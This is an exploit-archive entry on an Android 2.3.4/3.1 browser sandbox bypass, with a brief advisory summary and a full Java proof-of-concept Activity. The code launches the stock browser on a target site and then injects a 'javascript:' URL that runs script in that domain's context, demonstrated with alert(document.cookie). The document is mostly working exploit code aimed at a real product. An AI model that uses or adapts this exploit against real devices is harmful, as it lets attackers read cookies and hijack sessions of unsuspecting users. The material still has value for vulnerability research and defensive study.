Open Handset Alliance Android 2.3.4/3.1 – Browser Sandbox Security Bypass
source: https://www.securityfocus.com/bid/48954/info Open Handset Alliance Android is prone to a vulnerability that may allow a bypass of the browser sandbox. Successful exploits will allow attackers to execute arbitrary script code within the context of an arbitrary domain. Android 2.3.4 and 3.1 are vulnerable; prior versions may also be affected. public class CasExploit extends Activity { static final String mPackage = "com.android.browser"; static final String mClass = "BrowserActivity"; static final String mUrl = "http://target.domain/";; static final String mJavascript = "alert(document.cookie)"; static final int mSleep = 15000; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); startBrowserActivity(mUrl); try { Thread.sleep(mSleep); } catch (InterruptedException e) {} startBrowserActivity("javascript:" + mJavascript); } private void startBrowserActivity(String url) { Intent res = new Intent("android.intent.action.VIEW"); res.setComponent(new ComponentName(mPackage,mPackage+"."+mClass)); res.setData(Uri.parse(url)); startActivity(res); } } |